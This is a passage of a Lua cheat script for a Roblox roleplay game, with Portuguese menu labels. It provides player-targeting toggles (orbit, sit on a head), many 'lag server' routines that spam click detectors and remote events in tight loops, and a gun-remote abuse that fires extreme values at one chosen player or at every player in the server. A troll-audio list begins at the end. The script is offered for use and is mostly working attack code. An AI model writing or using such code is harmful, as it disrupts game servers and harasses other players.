Callback = function(Value)
tweenSpeed = Value
end
})
Tabs.TT:AddButton({
Name = Translator:traduzir("Atualizar Lista"),
Callback = function()
local lista = {}
for _, v in pairs(Players:GetPlayers()) do
if v ~= LocalPlayer then
table.insert(lista, v.Name)
end
end
playerDropdown:Set(lista)
end
})
Tabs.TT:AddToggle({
Name = Translator:traduzir("Orbita Jogador"),
Description = Translator:traduzir("Vire um planeta e orbite o jogador"),
Default = false,
Callback = function(value)
orbiting = value
if orbiting and orbit and orbit.Character and orbit.Character:FindFirstChild("HumanoidRootPart") then
local localChar = LocalPlayer.Character
local localHRP = localChar and localChar:FindFirstChild("HumanoidRootPart")
if not localHRP then return end
while orbiting and orbit and orbit.Character and orbit.Character:FindFirstChild("HumanoidRootPart") do
local targetHRP = orbit.Character.HumanoidRootPart
local angle = tick() * tweenSpeed
local radius = 5
local offset = Vector3.new(math.cos(angle) * radius, 0, math.sin(angle) * radius)
local orbitPos = targetHRP.Position + offset
local tweenInfo = TweenInfo.new(0.05, Enum.EasingStyle.Linear, Enum.EasingDirection.InOut)
local tween = TweenService:Create(localHRP, tweenInfo, {CFrame = CFrame.new(orbitPos)})
tween:Play()
tween.Completed:Wait()
end
end
end
})
Tabs.TT:AddSection({Translator:traduzir("Zaralha boneco headsit")})
local selectedHeadSit = nil
local headSitConnection = nil
local headSitDropdown = Tabs.TT:AddDropdown({
Name = Translator:traduzir("Selecionar jogador"),
Default = "Players",
Options = {},
Callback = function(Value)
selectedHeadSit = Value
end
})
Tabs.TT:AddButton({
Name = Translator:traduzir("Atualizar tabela"),
Callback = function()
local novaTabela = {}
for _, v in pairs(Players:GetPlayers()) do
if v ~= Players.LocalPlayer then
table.insert(novaTabela, v.Name)
end
end
headSitDropdown:Set(novaTabela)
end
})
Tabs.TT:AddToggle({
Name = Translator:traduzir("Voar Sobre a cabeça"),
Default = false,
Callback = function(bool)
local player = game.Players.LocalPlayer
local character = player.Character or player.CharacterAdded:Wait()
local humanoidRootPart = character:WaitForChild("HumanoidRootPart")
local humanoid = character:WaitForChild("Humanoid")
if not selectedHeadSit or selectedHeadSit == "" then return end
local selectedPlayer = game.Players:FindFirstChild(selectedHeadSit)
if bool then
if selectedPlayer and selectedPlayer.Character then
humanoid.Sit = true
if headSitConnection then
headSitConnection:Disconnect()
end
headSitConnection = game:GetService("RunService").Heartbeat:Connect(function()
if selectedPlayer.Character and selectedPlayer.Character:FindFirstChild("Head") and humanoid.Sit then
local targetHead = selectedPlayer.Character.Head
humanoidRootPart.CFrame = targetHead.CFrame * CFrame.Angles(0, 0, 0) * CFrame.new(0, 1.6, 0.4)
else
if headSitConnection then
headSitConnection:Disconnect()
headSitConnection = nil
humanoid.Sit = false
end
end
end)
end
else
if headSitConnection then
headSitConnection:Disconnect()
headSitConnection = nil
end
humanoid.Sit = false
end
end
})
end
-----------------///////TABS - LG///////-----------------
do
Tabs.LG:AddSection({"Lag Server Controle"})
local CurrentLagType = "Phone"
local LagActive = false
local LagThread = nil
local LastCFrame = nil
local player = game.Players.LocalPlayer
local StretcherLagActive = false
local StretcherLagThread = nil
local FireXLagActive = false
local FireXLagThread = nil
local BombLagServerActive = false
local PhoneLagServer = false
local PhoneLagThread = nil
function StartPhoneLagServer()
if not shouldPlayerBeLagged() then return end
PhoneLagServer = true
PhoneLagThread = task.spawn(function()
while PhoneLagServer do
fireclickdetector(workspace.WorkspaceCom["001_CommercialStores"].CommercialStorage1.Store.Tools.Iphone.ClickDetector)
task.wait()
end
end)
end
function StopPhoneLagServer()
PhoneLagServer = false
if PhoneLagThread then
task.cancel(PhoneLagThread)
PhoneLagThread = nil
end
end
local LaptopLagServer = false
local LaptopLagThread = nil
function StartLaptopLagServer()
if not shouldPlayerBeLagged() then return end
LaptopLagServer = true
LaptopLagThread = task.spawn(function()
while LaptopLagServer do
fireclickdetector(workspace.WorkspaceCom["001_CommercialStores"].CommercialStorage1.Store.Tools.Laptop.ClickDetector)
task.wait()
end
end)
end
function StopLaptopLagServer()
LaptopLagServer = false
if LaptopLagThread then
task.cancel(LaptopLagThread)
LaptopLagThread = nil
end
end
local PhoneLaptopLagServer = false
local PhoneLaptopLagThread = nil
function StartPhoneLaptopLagServer()
if not shouldPlayerBeLagged() then return end
PhoneLaptopLagServer = true
PhoneLaptopLagThread = task.spawn(function()
while PhoneLaptopLagServer do
fireclickdetector(workspace.WorkspaceCom["001_CommercialStores"].CommercialStorage1.Store.Tools:GetChildren()[3].ClickDetector)
task.wait(0.1)
fireclickdetector(workspace.WorkspaceCom["001_CommercialStores"].CommercialStorage1.Store.Tools.Laptop.ClickDetector)
task.wait(0.01)
end
end)
end
function StopPhoneLaptopLagServer()
PhoneLaptopLagServer = false
if PhoneLaptopLagThread then
task.cancel(PhoneLaptopLagThread)
PhoneLaptopLagThread = nil
end
end
local BasketballLagServer = false
local BasketballLagThread = nil
function StartBasketballLagServer()
if not shouldPlayerBeLagged() then return end
BasketballLagServer = true
BasketballLagThread = task.spawn(function()
while BasketballLagServer do
fireclickdetector(workspace.WorkspaceCom["001_GiveTools"].Basketball.ClickDetector)
local args = {
Vector3.new(-154.34115600585938, 4.365168571472168, 97.59996795654297)
}
for _, tool in ipairs(player.Character:GetChildren()) do
if tool:IsA("Tool") and tool:FindFirstChild("ClickEvent") then
tool.ClickEvent:FireServer(unpack(args))
end
end
task.wait()
end
end)
end
function StopBasketballLagServer()
BasketballLagServer = false
if BasketballLagThread then
task.cancel(BasketballLagThread)
BasketballLagThread = nil
end
end
local GhostHunterLagServer = false
local GhostHunterLagThread = nil
function StartGhostHunterLagServer()
if not shouldPlayerBeLagged() then return end
GhostHunterLagServer = true
GhostHunterLagThread = task.spawn(function()
while GhostHunterLagServer do
fireclickdetector(workspace.WorkspaceCom["001_GiveTools"].GhostMeter.ClickDetector)
task.wait(0.01)
end
end)
end
function StopGhostHunterLagServer()
GhostHunterLagServer = false
if GhostHunterLagThread then
task.cancel(GhostHunterLagThread)
GhostHunterLagThread = nil
end
end
local BookLagServer = false
local BookLagThread = nil
local function clickNormally(object)
local clickDetector = object:FindFirstChildWhichIsA("ClickDetector")
if clickDetector then
fireclickdetector(clickDetector)
end
end
function StartBookLagServer()
if not shouldPlayerBeLagged() then return end
BookLagServer = true
BookLagThread = task.spawn(function()
while BookLagServer do
local bookPath = workspace.WorkspaceCom["001_GiveTools"]:FindFirstChild("Book")
if bookPath then
player.Character.HumanoidRootPart.CFrame = bookPath.CFrame
clickNormally(bookPath)
end
task.wait(0.01)
end
end)
end
function StopBookLagServer()
BookLagServer = false
if BookLagThread then
task.cancel(BookLagThread)
BookLagThread = nil
end
end
function StartStretcherLagServer()
if not shouldPlayerBeLagged() then return end
StretcherLagActive = true
StretcherLagThread = task.spawn(function()
while StretcherLagActive do
duplicarStretcher()
task.wait(0.001)
end
end)
end
function StopStretcherLagServer()
StretcherLagActive = false
if StretcherLagThread then
task.cancel(StretcherLagThread)
StretcherLagThread = nil
end
end
function StartFireXLagServer()
if not shouldPlayerBeLagged() then return end
FireXLagActive = true
FireXLagThread = task.spawn(function()
while FireXLagActive do
duplicarFireX()
task.wait(0.001)
end
end)
end
function StopFireXLagServer()
FireXLagActive = false
if FireXLagThread then
task.cancel(FireXLagThread)
FireXLagThread = nil
end
end
function StartLag()
if LagActive then return end
if not shouldPlayerBeLagged() then return end
if not player.Character or not player.Character:FindFirstChild("HumanoidRootPart") then
return
end
LastCFrame = player.Character.HumanoidRootPart.CFrame
if CurrentLagType == "Phone" then
if getgenv()._PhoneLagServerRunning then return end
getgenv()._PhoneLagServerRunning = true
player.Character.HumanoidRootPart.CFrame = CFrame.new(-117, 20, 255)
player.Character.Humanoid.WalkSpeed = 0
player.Character.Humanoid.JumpPower = 0
task.wait(1)
if not getgenv()._PhoneLagServerRunning then return end
fireclickdetector(workspace.WorkspaceCom["001_CommercialStores"].CommercialPlot1Buttons.Commercial1Store1.ClickDetector)
task.wait(1)
if not getgenv()._PhoneLagServerRunning then return end
player.Character.HumanoidRootPart.CFrame = CFrame.new(-117, 20, 255)
StartPhoneLagServer()
elseif CurrentLagType == "Laptop" then
if getgenv()._LaptopLagServerRunning then return end
getgenv()._LaptopLagServerRunning = true
player.Character.HumanoidRootPart.CFrame = CFrame.new(-117, 20, 255)
player.Character.Humanoid.WalkSpeed = 0
player.Character.Humanoid.JumpPower = 0
task.wait(1)
if not getgenv()._LaptopLagServerRunning then return end
fireclickdetector(workspace.WorkspaceCom["001_CommercialStores"].CommercialPlot1Buttons.Commercial1Store1.ClickDetector)
task.wait(1)
if not getgenv()._LaptopLagServerRunning then return end
player.Character.HumanoidRootPart.CFrame = CFrame.new(-117, 20, 255)
StartLaptopLagServer()
elseif CurrentLagType == "Phone and Laptop" then
if getgenv()._PhoneLaptopLagServerRunning then return end
getgenv()._PhoneLaptopLagServerRunning = true
player.Character.HumanoidRootPart.CFrame = CFrame.new(-123.742, 20.074, 251.402)
player.Character.Humanoid.WalkSpeed = 0
player.Character.Humanoid.JumpPower = 0
task.wait(1)
if not getgenv()._PhoneLaptopLagServerRunning then return end
fireclickdetector(workspace.WorkspaceCom["001_CommercialStores"].CommercialPlot1Buttons.Commercial1Store1.ClickDetector)
task.wait(1)
if not getgenv()._PhoneLaptopLagServerRunning then return end
player.Character.HumanoidRootPart.CFrame = CFrame.new(-123.742, 20.074, 251.402)
StartPhoneLaptopLagServer()
elseif CurrentLagType == "Basketball" then
if getgenv()._BasketballLagServerRunning then return end
getgenv()._BasketballLagServerRunning = true
player.Character.HumanoidRootPart.CFrame = CFrame.new(-135, 3, 85)
player.Character.Humanoid.WalkSpeed = 0
player.Character.Humanoid.JumpPower = 0
workspace.Gravity = 5
StartBasketballLagServer()
elseif CurrentLagType == "Ghost Hunter" then
if getgenv()._GhostHunterLagServerRunning then return end
getgenv()._GhostHunterLagServerRunning = true
player.Character.HumanoidRootPart.CFrame = CFrame.new(-320.216, 7.4, -112.32)
player.Character.Humanoid.WalkSpeed = 0
player.Character.Humanoid.JumpPower = 0
StartGhostHunterLagServer()
elseif CurrentLagType == "Book" then
if getgenv()._BookLagServerRunning then return end
getgenv()._BookLagServerRunning = true
player.Character.Humanoid.WalkSpeed = 0
player.Character.Humanoid.JumpPower = 0
StartBookLagServer()
elseif CurrentLagType == "Stretcher" then
if getgenv()._StretcherLagServerRunning then return end
getgenv()._StretcherLagServerRunning = true
player.Character.Humanoid.WalkSpeed = 0
player.Character.Humanoid.JumpPower = 0
StartStretcherLagServer()
elseif CurrentLagType == "FireX" then
if getgenv()._FireXLagServerRunning then return end
getgenv()._FireXLagServerRunning = true
player.Character.Humanoid.WalkSpeed = 0
player.Character.Humanoid.JumpPower = 0
StartFireXLagServer()
elseif CurrentLagType == "Bomb" then
if getgenv()._BombLagServerRunning then return end
getgenv()._BombLagServerRunning = true
player.Character.Humanoid.WalkSpeed = 0
player.Character.Humanoid.JumpPower = 0
BombLag(true)
end
LagActive = true
end
function StopLag()
if not LagActive then return end
if CurrentLagType == "Phone" then
StopPhoneLagServer()
getgenv()._PhoneLagServerRunning = false
elseif CurrentLagType == "Laptop" then
StopLaptopLagServer()
getgenv()._LaptopLagServerRunning = false
elseif CurrentLagType == "Phone and Laptop" then
StopPhoneLaptopLagServer()
getgenv()._PhoneLaptopLagServerRunning = false
elseif CurrentLagType == "Basketball" then
StopBasketballLagServer()
workspace.Gravity = 196.2
getgenv()._BasketballLagServerRunning = false
elseif CurrentLagType == "Ghost Hunter" then
StopGhostHunterLagServer()
getgenv()._GhostHunterLagServerRunning = false
elseif CurrentLagType == "Book" then
StopBookLagServer()
getgenv()._BookLagServerRunning = false
elseif CurrentLagType == "Stretcher" then
StopStretcherLagServer()
getgenv()._StretcherLagServerRunning = false
elseif CurrentLagType == "FireX" then
StopFireXLagServer()
getgenv()._FireXLagServerRunning = false
elseif CurrentLagType == "Bomb" then
BombLag(false)
getgenv()._BombLagServerRunning = false
end
if player.Character and player.Character:FindFirstChild("Humanoid") then
player.Character.Humanoid.WalkSpeed = 16
player.Character.Humanoid.JumpPower = 50
end
if LastCFrame and player.Character and player.Character:FindFirstChild("HumanoidRootPart") then
player.Character.HumanoidRootPart.CFrame = LastCFrame
end
LagActive = false
end
player.CharacterAdded:Connect(function()
LagActive = false
LastCFrame = nil
getgenv()._PhoneLagServerRunning = false
getgenv()._LaptopLagServerRunning = false
getgenv()._PhoneLaptopLagServerRunning = false
getgenv()._BasketballLagServerRunning = false
getgenv()._GhostHunterLagServerRunning = false
getgenv()._BookLagServerRunning = false
getgenv()._StretcherLagServerRunning = false
getgenv()._FireXLagServerRunning = false
getgenv()._BombLagServerRunning = false
end)
Tabs.LG:AddDropdown({
Title = "Selecione Tipo de lag",
Description = "Selecionar o tipo de lag",
Options = {"Phone", "Laptop", "Phone and Laptop", "Basketball", "Ghost Hunter", "Book", "Stretcher", "FireX", "Bomb"},
Multi = false,
Default = 1,
Callback = function(Value)
if LagActive then
StopLag()
end
CurrentLagType = Value
end
})
Tabs.LG:AddToggle({
Title = "ATIVA",
Description = "",
Default = false,
Callback = function(Value)
if Value then
StartLag()
else
StopLag()
end
end
})
Tabs.LG:AddSection({"Alvos Do Lags v1"})
local TargetPlayerName = ""
local TargetLagMethod = "Phone"
local TargetLagActive = false
local TargetLagThread = nil
local PlayerList = {}
local function UpdatePlayerList()
PlayerList = {}
for _, player in pairs(game.Players:GetPlayers()) do
if player ~= game.Players.LocalPlayer then
table.insert(PlayerList, player.Name)
end
end
return PlayerList
end
local function StartTargetLag()
if TargetLagActive or TargetPlayerName == "" then return end
local targetPlayer = game.Players:FindFirstChild(TargetPlayerName)
if not targetPlayer then return end
TargetLagActive = true
if not player.Character or not player.Character:FindFirstChild("HumanoidRootPart") then
TargetLagActive = false
return
end
LastCFrame = player.Character.HumanoidRootPart.CFrame
if TargetLagMethod == "Phone" or TargetLagMethod == "Laptop" or TargetLagMethod == "Phone and Laptop" then
if TargetLagMethod == "Phone and Laptop" then
player.Character.HumanoidRootPart.CFrame = CFrame.new(-123.742, 20.074, 251.402)
else
player.Character.HumanoidRootPart.CFrame = CFrame.new(-117, 20, 255)
end
player.Character.Humanoid.WalkSpeed = 0
player.Character.Humanoid.JumpPower = 0
task.wait(1)
if not TargetLagActive then return end
fireclickdetector(workspace.WorkspaceCom["001_CommercialStores"].CommercialPlot1Buttons.Commercial1Store1.ClickDetector)
task.wait(1)
if not TargetLagActive then return end
if TargetLagMethod == "Phone and Laptop" then
player.Character.HumanoidRootPart.CFrame = CFrame.new(-123.742, 20.074, 251.402)
else
player.Character.HumanoidRootPart.CFrame = CFrame.new(-117, 20, 255)
end
elseif TargetLagMethod == "Basketball" then
player.Character.HumanoidRootPart.CFrame = CFrame.new(-135, 3, 85)
player.Character.Humanoid.WalkSpeed = 0
player.Character.Humanoid.JumpPower = 0
workspace.Gravity = 5
elseif TargetLagMethod == "Ghost Hunter" then
player.Character.HumanoidRootPart.CFrame = CFrame.new(-320.216, 7.4, -112.32)
player.Character.Humanoid.WalkSpeed = 0
player.Character.Humanoid.JumpPower = 0
elseif TargetLagMethod == "Book" then
player.Character.Humanoid.WalkSpeed = 0
player.Character.Humanoid.JumpPower = 0
elseif TargetLagMethod == "Stretcher" or TargetLagMethod == "FireX" then
player.Character.Humanoid.WalkSpeed = 0
player.Character.Humanoid.JumpPower = 0
elseif TargetLagMethod == "Bomb" then
player.Character.Humanoid.WalkSpeed = 0
player.Character.Humanoid.JumpPower = 0
end
TargetLagThread = task.spawn(function()
while TargetLagActive do
local currentTarget = game.Players:FindFirstChild(TargetPlayerName)
if not currentTarget then
break
end
if TargetLagMethod == "Phone" then
fireclickdetector(workspace.WorkspaceCom["001_CommercialStores"].CommercialStorage1.Store.Tools.Iphone.ClickDetector)
elseif TargetLagMethod == "Laptop" then
fireclickdetector(workspace.WorkspaceCom["001_CommercialStores"].CommercialStorage1.Store.Tools.Laptop.ClickDetector)
elseif TargetLagMethod == "Phone and Laptop" then
fireclickdetector(workspace.WorkspaceCom["001_CommercialStores"].CommercialStorage1.Store.Tools:GetChildren()[3].ClickDetector)
task.wait(0.1)
fireclickdetector(workspace.WorkspaceCom["001_CommercialStores"].CommercialStorage1.Store.Tools.Laptop.ClickDetector)
elseif TargetLagMethod == "Basketball" then
fireclickdetector(workspace.WorkspaceCom["001_GiveTools"].Basketball.ClickDetector)
task.wait(0.1)
local args = {
Vector3.new(-154.34115600585938, 4.365168571472168, 97.59996795654297)
}
if player.Character then
for _, tool in ipairs(player.Character:GetChildren()) do
if tool:IsA("Tool") and tool:FindFirstChild("ClickEvent") then
tool.ClickEvent:FireServer(unpack(args))
end
end
end
elseif TargetLagMethod == "Ghost Hunter" then
fireclickdetector(workspace.WorkspaceCom["001_GiveTools"].GhostMeter.ClickDetector)
elseif TargetLagMethod == "Book" then
local bookPath = workspace.WorkspaceCom["001_GiveTools"]:FindFirstChild("Book")
if bookPath then
player.Character.HumanoidRootPart.CFrame = bookPath.CFrame
clickNormally(bookPath)
end
elseif TargetLagMethod == "Stretcher" then
duplicarStretcher()
elseif TargetLagMethod == "FireX" then
duplicarFireX()
elseif TargetLagMethod == "Bomb" then
local Bomb = workspace:WaitForChild("WorkspaceCom"):WaitForChild("001_CriminalWeapons"):WaitForChild("GiveTools"):WaitForChild("Bomb")
if Bomb and player.Character and player.Character:FindFirstChild("HumanoidRootPart") then
player.Character.HumanoidRootPart.CFrame = Bomb.CFrame
fireclickdetector(Bomb.ClickDetector)
end
end
task.wait(0.01)
end
end)
end
local function StopTargetLag()
TargetLagActive = false
if TargetLagThread then
task.cancel(TargetLagThread)
TargetLagThread = nil
end
if TargetLagMethod == "Basketball" then
workspace.Gravity = 196.2
end
if player.Character and player.Character:FindFirstChild("Humanoid") then
player.Character.Humanoid.WalkSpeed = 16
player.Character.Humanoid.JumpPower = 50
end
if LastCFrame and player.Character and player.Character:FindFirstChild("HumanoidRootPart") then
player.Character.HumanoidRootPart.CFrame = LastCFrame
end
end
UpdatePlayerList()
local lagsv = Tabs.LG:AddDropdown({
Title = Translator:traduzir("Selecione Jogador"),
Description = Translator:traduzir("Escolha qual jogador ficará para trás"),
Options = PlayerList,
Default = "Players",
Callback = function(Value)
if TargetLagActive then
StopTargetLag()
end
TargetPlayerName = Value
end
})
local dropdon = Tabs.LG:AddDropdown({
Title = "Selecionar um método",
Description = Translator:traduzir("Selecione um método para Laga a pessoa"),
Options = {"Phone", "Laptop", "Phone and Laptop", "Basketball", "Ghost Hunter", "Book", "Stretcher", "FireX", "Bomb"},
Default = "Method",
Callback = function(Value)
if TargetLagActive then
StopTargetLag()
end
TargetLagMethod = Value
end
})
Tabs.LG:AddToggle({
Name = Translator:traduzir("Visualizar Jogador"),
Description = Translator:traduzir("Acompanha o jogador com a câmera"),
Default = false,
Callback = function(value)
local function UpdateCamera()
local targetPlayer = value and Players:FindFirstChild(TargetLagActive)
local subject = LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("Humanoid")
if targetPlayer and targetPlayer.Character then
subject = targetPlayer.Character:FindFirstChild("Humanoid")
end
if subject then Camera.CameraSubject = subject end
end
if value then
if not getgenv().CameraConnection then
getgenv().CameraConnection = RunService.Heartbeat:Connect(UpdateCamera)
end
else
if getgenv().CameraConnection then
getgenv().CameraConnection:Disconnect()
getgenv().CameraConnection = nil
end
UpdateCamera()
end
end
})
Tabs.LG:AddButton({
Name = Translator:traduzir("Atualizar Jogadores"),
Callback = function()
local lista = {}
for _, v in ipairs(Players:GetPlayers()) do
if v ~= LocalPlayer then
table.insert(lista, v.Name)
end
end
lagsv:Set(lista)
end
})
Tabs.LG:AddToggle({
Title = "Lag Player",
Description = Translator:traduzir("Apos seleciona use essa função"),
Default = false,
Callback = function(Value)
if Value then
if TargetPlayerName ~= "" then
StartTargetLag()
end
else
StopTargetLag()
end
end
})
Tabs.LG:AddSection({Translator:traduzir("Lag Geral e uma pessoa")})
local selectedTarget = nil
local shootingLog = {}
local DripBug = Tabs.LG:AddDropdown({
Name = Translator:traduzir("Selecione Uma Pessoa"),
Description = Translator:traduzir("Selecionar uma pessoa primeiro"),
Options = {},
Default = "Players",
Callback = function(name)
selectedTarget = Players:FindFirstChild(name)
end
})
local IgnoreDropdown = Tabs.LG:AddDropdown({
Name = Translator:traduzir("Quem não será bugado?"),
Description = Translator:traduzir("Escolhar um jogador pra não toma bugue server"),
Options = {},
Default = "Players",
Callback = function(nome)
ignoreTarget = Players:FindFirstChild(nome)
end
})
Tabs.LG:AddButton({
Name = Translator:traduzir("Atualizar lista"),
Callback = function()
local lista = {}
for _, v in ipairs(Players:GetPlayers()) do
if v ~= LocalPlayer then
table.insert(lista, v.Name)
end
end
DripBug:Set(lista)
IgnoreDropdown:Set(lista)
end
})
local function createBugArgs(target)
local gunScript = LocalPlayer.Backpack.Assault.GunScript_Local
return {
target.HumanoidRootPart,
target.HumanoidRootPart,
Vector3.new(100000000376832, 100000000376832, 100000000376832),
target.HumanoidRootPart.Position,
gunScript.MuzzleEffect,
gunScript.HitEffect,
0, 0,
{false},
{25, Vector3.new(100, 100, 100), BrickColor.new(29), 0.25, Enum.Material.SmoothPlastic, 0.25},
true,
false
}
end
Tabs.LG:AddToggle({
Name = Translator:traduzir("Bugar Jogador <Selecionado>"),
Description = Translator:traduzir("Ativa o bug e pega Assault automaticamente"),
Default = false,
Callback = function(value)
fireLoopActive = value
if fireLoopActive then
ReplicatedStorage.RE:FindFirstChild("1Too1l"):InvokeServer("PickingTools", "Assault")
task.spawn(function()
repeat task.wait(0.1) until
LocalPlayer.Backpack:FindFirstChild("Assault") and
LocalPlayer.Backpack.Assault:FindFirstChild("GunScript_Local") and
LocalPlayer.Backpack.Assault.GunScript_Local:FindFirstChild("MuzzleEffect") and
LocalPlayer.Backpack.Assault.GunScript_Local:FindFirstChild("HitEffect")
while fireLoopActive and selectedTarget and selectedTarget.Character and
selectedTarget.Character:FindFirstChild("HumanoidRootPart") do
local args = createBugArgs(selectedTarget.Character)
table.insert(shootingLog, {
time = os.time(),
target = selectedTarget.Name,
position = tostring(selectedTarget.Character.HumanoidRootPart.Position)
})
ReplicatedStorage.RE:FindFirstChild("1Gu1n"):FireServer(unpack(args))
task.wait(0.02)
end
end)
else
local args = { [1] = "ClearAllTools" }
ReplicatedStorage.RE["1Clea1rTool1s"]:FireServer(unpack(args))
end
end
})
Tabs.LG:AddToggle({
Name = Translator:traduzir("Bugar Servidor <Players>"),
Description = Translator:traduzir("Buga geral menos você, é só assistir"),
Default = false,
Callback = function(ativado)
fireLoopActiveServer = ativado
if fireLoopActiveServer then
ReplicatedStorage.RE:FindFirstChild("1Too1l"):InvokeServer("PickingTools", "Assault")
task.spawn(function()
repeat task.wait(0.1) until
LocalPlayer.Backpack:FindFirstChild("Assault") and
LocalPlayer.Backpack.Assault:FindFirstChild("GunScript_Local") and
LocalPlayer.Backpack.Assault.GunScript_Local:FindFirstChild("MuzzleEffect") and
LocalPlayer.Backpack.Assault.GunScript_Local:FindFirstChild("HitEffect")
while fireLoopActiveServer do
for _, alvo in ipairs(Players:GetPlayers()) do
if alvo ~= LocalPlayer and alvo ~= ignoreTarget and
alvo.Character and alvo.Character:FindFirstChild("HumanoidRootPart") then
local args = createBugArgs(alvo.Character)
ReplicatedStorage.RE:FindFirstChild("1Gu1n"):FireServer(unpack(args))
task.wait(0.001)
end
end
end
end)
else
local args = { [1] = "ClearAllTools" }
ReplicatedStorage.RE["1Clea1rTool1s"]:FireServer(unpack(args))
end
end
})
end
do
Tabs.LG:AddSection({Translator:traduzir("Painel De Lags V3")})
local Workspace = game:GetService("Workspace")
local RunService = game:GetService("RunService")
local Players = game:GetService("Players")
local LocalPlayer = Players.LocalPlayer
local heartbeatConnection = nil
local selectedName = "Common"
local lagTargets = {
["Common"] = true,
["Burger Tray"] = "WorkspaceCom.001_GiveTools.BurgerTray",
["Bomb"] = "WorkspaceCom.001_CriminalWeapons.GiveTools.Bomb",
["Laptop"] = "WorkspaceCom.001_GiveTools.Laptop",
["Paper Bag"] = "WorkspaceCom.001_GiveTools.Paperbag",
-- ["Chips"] = "WorkspaceCom.001_GiveTools.Chips",
-- ["Ice Cream"] = "WorkspaceCom.001_GiveTools.Icecream",
-- ["Taser"] = "WorkspaceCom.001_GiveTools.Taser",
["Basketball"] = "WorkspaceCom.001_GiveTools.Basketball",
["FireX"] = "WorkspaceCom.001_GiveTools.FireX",
["Ladder"] = "WorkspaceCom.001_GiveTools.Ladder",
["Ghost Meter"] = "WorkspaceCom.001_GiveTools.GhostMeter",
["Clipboard"] = "WorkspaceCom.001_GiveTools.ClipBoard",
["Stretcher"] = "WorkspaceCom.001_GiveTools.Stretcher",
["Glock"] = "WorkspaceCom.001_CriminalWeapons.GiveTools.Glock",
["Electric Guitar"] = "WorkspaceCom.001_GiveTools.ElectricGuitar",
["Guitar"] = "WorkspaceCom.001_GiveTools.Guitar",
["Book"] = "WorkspaceCom.001_GiveTools.Book",
["Box"] = "WorkspaceCom.001_GiveTools.Box",
-- ["Frap Strawberry"] = "WorkspaceCom.001_GiveTools.FrapStrawberry",
-- ["Bank Keycard"] = "WorkspaceCom.001_GiveTools.BankKeyCard",
-- ["White Keycard"] = "WorkspaceCom.001_GiveTools.KeyCardWhite",
-- ["Mop"] = "WorkspaceCom.001_GiveTools.Mop",
["Iphone"] = "WorkspaceCom.001_GiveTools.Iphone",
["Ipad"] = "WorkspaceCom.001_GiveTools.Ipad"
}
local function getTargetFromString(pathStr)
local ok, result = pcall(function()
local current = Workspace
for _, part in ipairs(string.split(pathStr, ".")) do
current = current:FindFirstChild(part)
if not current then return nil end
end
return current
end)
return ok and result or nil
end
local function spamClickFast(obj)
if not obj or not obj:IsA("BasePart") then return end
local detector = obj:FindFirstChildWhichIsA("ClickDetector")
local hrp = LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("HumanoidRootPart")
if detector and hrp then
hrp.CFrame = obj.CFrame + Vector3.new(0, 1.5, 0)
for _ = 1, 105 do
task.spawn(function()
pcall(fireclickdetector, detector)
end)
end
end
if obj.Name == "Basketball" then
local tool = LocalPlayer.Character:FindFirstChild("Basketball")
local remote = tool and tool:FindFirstChild("ClickEvent")
if remote then
remote:FireServer(Vector3.new(-148.004, 0.4, 79.921))
end
end
end
local options = {}
for name in pairs(lagTargets) do
table.insert(options, name)
end
table.sort(options, function(a, b) return a == "Common" or (a < b and b ~= "Common") end)
local Dropdown = Tabs.LG:AddDropdown({
Name = Translator:traduzir("Selecione Método de lags"),
Description = Translator:traduzir("Novos métodos de lags dripsolutions"),
Options = options,
Default = "Common",
Flag = "LagTargetDropdown",
Callback = function(selected)
selectedName = selected
end
})
local Toggle = Tabs.LG:AddToggle({
Name = Translator:traduzir("Começa Lags"),
Description = "Ativa Onlag apos seleciona um metodo",
Default = false
})
Toggle:Callback(function(state)
if heartbeatConnection then
heartbeatConnection:Disconnect()
heartbeatConnection = nil
end
if not state then return end
if selectedName == "Common" then
local list = {}
for _, path in pairs(lagTargets) do
if path ~= true then
table.insert(list, path)
end
end
local i = 1
local currentObj = getTargetFromString(list[i])
local lastSwitch = tick()
heartbeatConnection = RunService.Heartbeat:Connect(function()
if tick() - lastSwitch >= 0.5 then
i = (i % #list) + 1
currentObj = getTargetFromString(list[i])
lastSwitch = tick()
end
if currentObj then spamClickFast(currentObj) end
end)
else
local obj = getTargetFromString(lagTargets[selectedName])
heartbeatConnection = RunService.Heartbeat:Connect(function()
if obj then spamClickFast(obj) end
end)
end
end)
end
-----------------///////TABS - AD///////-----------------
do
local AudioManager = {}
local TROLL_AUDIOS = {
{name = "Get Out", id = 18900008907},
{name = "Gato Sorrindo", id = 8449305114},
{name = "Windows Error", id = 2661731024},
{name = "Among Us din", id = 6651571134},
{name = "Nojo", id = 103440368630269},
{name = "Vai Lava Prato", id = 101232400175829},
{name = "Vai Toma Jack", id = 132603645477541},
{name = "Pede Ifood", id = 133843750864059},
{name = "I Ghost The Down", id = 84663543883498},
{name = "ShoopeCheck", id = 8747441609},
{name = "Kudasai Ain", id = 108494476595033},
{name = "Ave Maria", id = 128669424001766},
{name = "Carro do Danone", id = 110493863773948},
{name = "Sonic do mal", id = 2496367477},
{name = "Risada Da Bruxa", id = 116214940486087},
{name = "Wiaaanrrr", id = 88332347208779},
{name = "Chegaaaaa", id = 77405864184828},
{name = "Aí Meu Cuzinhorrr", id = 130714479795369},
{name = "Zé da Mangá", id = 106624090319571},
{name = "Aiii Alexandre M.", id = 107261471941570},
{name = "Sorrir Auto", id = 76067381821846},
{name = "GOGOGGOGO", id = 103262503950995},
{name = "Toma Jack no Sol", id = 97476487963273},
{name = "Tá Querendo Ram", id = 94395705857835},
{name = "Hoje Vou Ser Tua Mulher", id = 90844637105538},
{name = "Vc Tá Fudido", id = 120214772725166},
{name = "Rojão Chiiiin", id = 6549021381},
{name = "Posso Te Ligar Agora", id = 103211341252816},
{name = "Cadê o Zé Gotinha?", id = 86012585992725},
{name = "A Pia Cheia de Louça", id = 98076927129047},
{name = "Olha Mensagemmmmm", id = 121668429878811},
{name = "Olha um Pé de Siriguela", id = 112804043442210},
{name = "Vai Corinthians", id = 127012936767471},
{name = "Manda o Papo", id = 134699681156023},
{name = "Direitos Autorais", id = 93414656438796},
{name = "Vai Perdeu Tira Calcinha!", id = 102788826091273},
{name = "Primo Eduardo", id = 107112539171307},
{name = "Manda a Fotinha", id = 90992376085736},
{name = "O Dinheiro Seu Corno", id = 101481458650889},
{name = "Toma Toma", id = 131646665531667},
{name = "Cachorro Bravo", id = 17732575062},
{name = "E o Pix", id = 113831443375212},
{name = "Um Cavo de 3 Pernas", id = 8164241439},
{name = "Off the King", id = 71153532555470},
{name = "Plankton AAAAAAAAN", id = 95982351322190},
